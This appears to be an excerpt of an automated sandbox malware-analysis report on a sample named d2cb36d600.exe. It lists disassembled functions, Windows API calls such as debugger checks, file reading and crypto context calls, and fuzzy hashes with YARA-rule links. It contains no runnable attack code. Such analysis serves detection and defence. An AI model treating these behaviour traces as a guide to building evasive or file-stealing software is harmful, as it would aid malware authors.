Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ios_base::badbit set
API String ID: 17069307-3882152299
Opcode ID: 5bd27c78422e05e029a00ce19567c83fa80f1da6e5a488d10c81d55ea33c2b9f
Instruction ID: 04b3eb29b1ca0df6189d60eb0e9b1ad7493da9a3e7ad62eaa8433662ce43ebf0
Opcode Fuzzy Hash: 5bd27c78422e05e029a00ce19567c83fa80f1da6e5a488d10c81d55ea33c2b9f
Instruction Fuzzy Hash: E0F0A778514610EFC7209F18E904E257BB8FB87734F10432EE89A436E0C7351882DB51

Function 009288A7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetCommandLineA.KERNEL32 ref: 009288A7
GetCommandLineW.KERNEL32 ref: 009288B2

Strings

x5w, xrefs: 009288AD

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: CommandLine
String ID: x5w
API String ID: 3253501508-3388196563
Opcode ID: 0c8fe7925d0334f6b062605146c8549b75950ebbc64b14c9d07b0460338c121a
Instruction ID: 390803d113391bd000c798800a851186082a52811feb046e4790f071befd0911
Opcode Fuzzy Hash: 0c8fe7925d0334f6b062605146c8549b75950ebbc64b14c9d07b0460338c121a
Instruction Fuzzy Hash: 0BB092FC86D600CFC700CFB0F80CA053BA0B20B202380C156D862D2B60D7758140FF02

Analysis Process: d2cb36d600.exePID: 7648, Parent PID: 2508COMMON

Non-executed Functions

Function 00933178 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00932B49,00000002,00000000,?,?,?,00932B49,?,00000000), ref: 00933211
GetLocaleInfoW.KERNEL32(?,20001004,00932B49,00000002,00000000,?,?,?,00932B49,?,00000000), ref: 0093323A
GetACP.KERNEL32(?,?,00932B49,?,00000000), ref: 0093324F

Strings

OCP, xrefs: 009331CC
ACP, xrefs: 00933196

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 580559755e1203b597d140b903503896893de723ae48e6b702c3150b2025e1df
Instruction ID: 6d44dbec55c496c58d46e8e02100e0d9673d364b9ec02b06791d8015f1b6bb73
Opcode Fuzzy Hash: 580559755e1203b597d140b903503896893de723ae48e6b702c3150b2025e1df
Instruction Fuzzy Hash: 5E21B036684100AAEB348FA5DC45BA7B3AAEF94F50F66C524E91AD7110E732DF40DB50

Function 00932A13 Relevance: 7.7, APIs: 5, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 0092E783: GetLastError.KERNEL32(00000000,?,00930AB9), ref: 0092E787
Part of subcall function 0092E783: SetLastError.KERNEL32(00000000,?,?,00000028,0092B9D2), ref: 0092E829

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 00932B1B
IsValidCodePage.KERNEL32(00000000), ref: 00932B59
IsValidLocale.KERNEL32(?,00000001), ref: 00932B6C
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00932BB4
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00932BCF

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 23da9d00e6029552aa6d899d85afe97637d9ab4c2c8659b0ab454b2de5930cb1
Instruction ID: 417bf149b12e1ef3b017298094b9cc6683fdb5371b6e04867075ea8df5d2a786
Opcode Fuzzy Hash: 23da9d00e6029552aa6d899d85afe97637d9ab4c2c8659b0ab454b2de5930cb1
Instruction Fuzzy Hash: 3F516D71A0021AABDB20DFA4DC45FAEB7BCFF59700F184469E550EB190EBB09A44DF61

Function 00921614 Relevance: 7.7, APIs: 5, Instructions: 171fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00921098: _strlen.LIBCMT ref: 009210F9

GetFileSize.KERNEL32(00000000,00000000), ref: 00921685
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 009216AB
CloseHandle.KERNEL32(00000000), ref: 009216BA
_strlen.LIBCMT ref: 00921705
CloseHandle.KERNEL32(00000000), ref: 00921805

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: CloseFileHandle_strlen$ReadSize
String ID:
API String ID: 1490117831-0
Opcode ID: ef6ec7b7b76acf09282e5ebacfaf9a85655b84a2a5a34c5606db226ff2d1a4cd
Instruction ID: d259d71634b976b736783cd680c346b4ee3e66a8a4e6b2aebd759af3e0aa2ece
Opcode Fuzzy Hash: ef6ec7b7b76acf09282e5ebacfaf9a85655b84a2a5a34c5606db226ff2d1a4cd
Instruction Fuzzy Hash: 7751F0B59083519BC700EF24EC84B2EBBE9FFE9304F154A2DF48997251E73499948B52

Function 0093375A Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0093384A

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 4a83cf956dbf32c45d10f493f2cd78177b68215d80d30d6d3da39033ac4d63d1
Instruction ID: 651e167da827b3fc9eb30a81eed8b395389eaf68c2b38b6bd79ecec8d891141d
Opcode Fuzzy Hash: 4a83cf956dbf32c45d10f493f2cd78177b68215d80d30d6d3da39033ac4d63d1
Instruction Fuzzy Hash: 7A71E5B594516CAFDF20AF38DC9DBAAB7B9AF45300F1481D9E04997211DA354F849F10

Function 00925020 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0092502C
IsDebuggerPresent.KERNEL32 ref: 009250F8
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00925111
UnhandledExceptionFilter.KERNEL32(?), ref: 0092511B

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 29042140781a03f73349fc4888533ebd01070d335c571572a8be689eaafd2050
Instruction ID: 8422a7f47b27418a10ad4de0be9fb985180ab1abc83aff6c823e4b4fe57b835d
Opcode Fuzzy Hash: 29042140781a03f73349fc4888533ebd01070d335c571572a8be689eaafd2050
Instruction Fuzzy Hash: 11310A75D452289BDF20EFA4DD49BCDBBB8AF48304F1041AAE40DAB250EB719B858F45

Function 0092123B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 85encryptionCOMMON

Download Yara Rule

APIs

CryptContextAddRef.ADVAPI32(00000000,00000000,00000000), ref: 009212C7

Strings

[+], xrefs: 009212E1

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: ContextCrypt
String ID: [+]
API String ID: 3075001677-4228040803
Opcode ID: 2a9e55c548933d6f45b8950f2d44555470c28d0358fac2ed3b5da837e715090e
Instruction ID: 1b2dcae93dd94c63b829bd01fb980b0362fe1cb9cba6df4039d22f664e3cc5b3
Opcode Fuzzy Hash: 2a9e55c548933d6f45b8950f2d44555470c28d0358fac2ed3b5da837e715090e
Instruction Fuzzy Hash: AB31273150C3D04BD726AB3478997EBBBD4ABFE318F18097DD8D987247C1605445C762

Function 0093A222 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000000,00000000,7FFFFFFF,?,0093A20D,00000000,00000000,00000000,00000000,?,?,?,?,00000000,00000000), ref: 0093A2C8
__alloca_probe_16.LIBCMT ref: 0093A383
__alloca_probe_16.LIBCMT ref: 0093A412
__freea.LIBCMT ref: 0093A45D
__freea.LIBCMT ref: 0093A463
__freea.LIBCMT ref: 0093A499
__freea.LIBCMT ref: 0093A49F
__freea.LIBCMT ref: 0093A4AF

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 5f83bc0f53d57fcc86f48d0e5909304c48bf357c4f1c668e36551e4bc0178880
Instruction ID: 7152f7c7b501a3836365ab49f903e73a401d7c1952f4c58c1c68d0220515a704
Opcode Fuzzy Hash: 5f83bc0f53d57fcc86f48d0e5909304c48bf357c4f1c668e36551e4bc0178880
Instruction Fuzzy Hash: 3371F732900215AFDF219E949C89FAF7BBE9F85310F254459F985A72A1E679CC008F62

Function 009254C5 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 0092550C
__alloca_probe_16.LIBCMT ref: 00925538
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 00925577
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00925594
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 009255D3
__alloca_probe_16.LIBCMT ref: 009255F0
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00925632
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00925655

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 7d4b16e6ff2d82756cb418cacf19bd87e0f0d765dc81435f21d223e27088e8d3
Instruction ID: d7047ee128fc266b84a9e600cdac1751865ffd2f120892c72041067a1f31a0fd
Opcode Fuzzy Hash: 7d4b16e6ff2d82756cb418cacf19bd87e0f0d765dc81435f21d223e27088e8d3
Instruction Fuzzy Hash: FB51DE72610626AFEF209F60EC45FBA7BA9EF40740F568429F904E61A8DB34CD108B90

Function 009261E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00926217
___except_validate_context_record.LIBVCRUNTIME ref: 0092621F
_ValidateLocalCookies.LIBCMT ref: 009262A8
__IsNonwritableInCurrentImage.LIBCMT ref: 009262D3
_ValidateLocalCookies.LIBCMT ref: 00926328

Strings

csm, xrefs: 009262BD

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 51bcf3f14f019040b073ce2b0483e90a0be16c1320a560582de7baa0632c6f6f
Instruction ID: a6193c6514cd2bcd977df02a5eb579202aaf075d288f7a465a8427e400f57dae
Opcode Fuzzy Hash: 51bcf3f14f019040b073ce2b0483e90a0be16c1320a560582de7baa0632c6f6f
Instruction Fuzzy Hash: DE41D534A00228DFCF11DF68E880B9E7BB5EF85328F148555E8249B79AC731EE01CB91

Function 0092F469 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,0092F578,0092186A,?,00000000,009231E1,0092186C,?,0092F1F6,00000022,FlsSetValue,0093DFE0,0093DFE8,009231E1), ref: 0092F52A

Strings

ext-ms-, xrefs: 0092F4D4
api-ms-, xrefs: 0092F4C0

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 6d826bd3b3e10fd07202885d0c946d95782264c28e941a36635367c87c88a28c
Instruction ID: c890f8567bcfbb475098310bb0254c27f5e3cd43160c566cafbae061088b29db
Opcode Fuzzy Hash: 6d826bd3b3e10fd07202885d0c946d95782264c28e941a36635367c87c88a28c
Instruction Fuzzy Hash: A421F376A12221ABCB219F25FC54E6B777C9F42764B204234FD06A72A4E770EE00DAD0

Function 0093625D Relevance: 9.3, APIs: 6, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91c0108c223e7cf6a9b7e5ca91c5627ece5c940b8221e03f486f03e2206567c8
Instruction ID: 789609da0d41b6b10d2b5273ed1d31fa225b9997b241759087fe024e672cd881
Opcode Fuzzy Hash: 91c0108c223e7cf6a9b7e5ca91c5627ece5c940b8221e03f486f03e2206567c8
Instruction Fuzzy Hash: 74B133B5E04354BFDB11DFA8E880BAE7BB5AF86310F1481A9F9019B296C7709941CF61

Function 0092D2C0 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0092D2B7,00925FB7,00925179), ref: 0092D2CE
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0092D2DC
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0092D2F5
SetLastError.KERNEL32(00000000,0092D2B7,00925FB7,00925179), ref: 0092D347

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: ed022a8115f9a7322f8ca3b25cd5e08c568399ec8000fab8eeede86406239ec6
Instruction ID: 9c397db88ebc1f1279e211d1e012a3c124d300f528b93e2b42c480449ef53576
Opcode Fuzzy Hash: ed022a8115f9a7322f8ca3b25cd5e08c568399ec8000fab8eeede86406239ec6
Instruction Fuzzy Hash: 4201F73621F732AFA6356BF5BCC5E6B6688EF427B97600329F120650F5EF114C04A6C1

Function 0092DB88 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMON

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0092DCA7
CallUnexpected.LIBVCRUNTIME ref: 0092DF20

Strings

csm, xrefs: 0092DBC5
csm, xrefs: 0092DC32
csm, xrefs: 0092DCDE

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: a3e077243eaa76f1e16b92495bcb27a7eda49e487b66eaac9e598f572651e32c
Instruction ID: aaf41f59c49b8a2e5648ef18f24f81b9735d9469634850e3ec443c5197ff46a7
Opcode Fuzzy Hash: a3e077243eaa76f1e16b92495bcb27a7eda49e487b66eaac9e598f572651e32c
Instruction Fuzzy Hash: 7DB1BF71802229EFCF24EFA4E881AAEB7B9FF55310F154059F8116B25AD370EA51CF91

Function 00928C55 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,0093B774,000000FF,?,00928D16,00928BFD,?,00928DB2,00000000), ref: 00928C8A
GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,00000000,0093B774,000000FF,?,00928D16,00928BFD,?,00928DB2,00000000), ref: 00928C9C
FreeLibrary.KERNEL32(00000000,?,?,00000000,0093B774,000000FF,?,00928D16,00928BFD,?,00928DB2,00000000), ref: 00928CBE

Strings

mscoree.dll, xrefs: 00928C83
CorExitProcess, xrefs: 00928C94

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 8c0c750092f2bbdb9e216043416a8f6f700ceff420f6544d4f2118d06b770439
Instruction ID: 2089c62bbb99d9690dcefc6a2ff8c941ef3455c51cd4bbdae27d4dbb915f4acf
Opcode Fuzzy Hash: 8c0c750092f2bbdb9e216043416a8f6f700ceff420f6544d4f2118d06b770439
Instruction Fuzzy Hash: BF01DB35915625EFCB11CF60DC09FAEB7BCFB45B14F008525F812A22D0DB749900CA90

Function 0092FC3D Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0092FCC2
__alloca_probe_16.LIBCMT ref: 0092FD8B
__freea.LIBCMT ref: 0092FDF2

Part of subcall function 0092E531: HeapAlloc.KERNEL32(00000000,009231E1,0092186A,?,009260C1,0092186C,0092186A,?,?,?,00923181,009231E1,0092186E,0092186A,0092186A,0092186A), ref: 0092E563

__freea.LIBCMT ref: 0092FE05
__freea.LIBCMT ref: 0092FE12

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

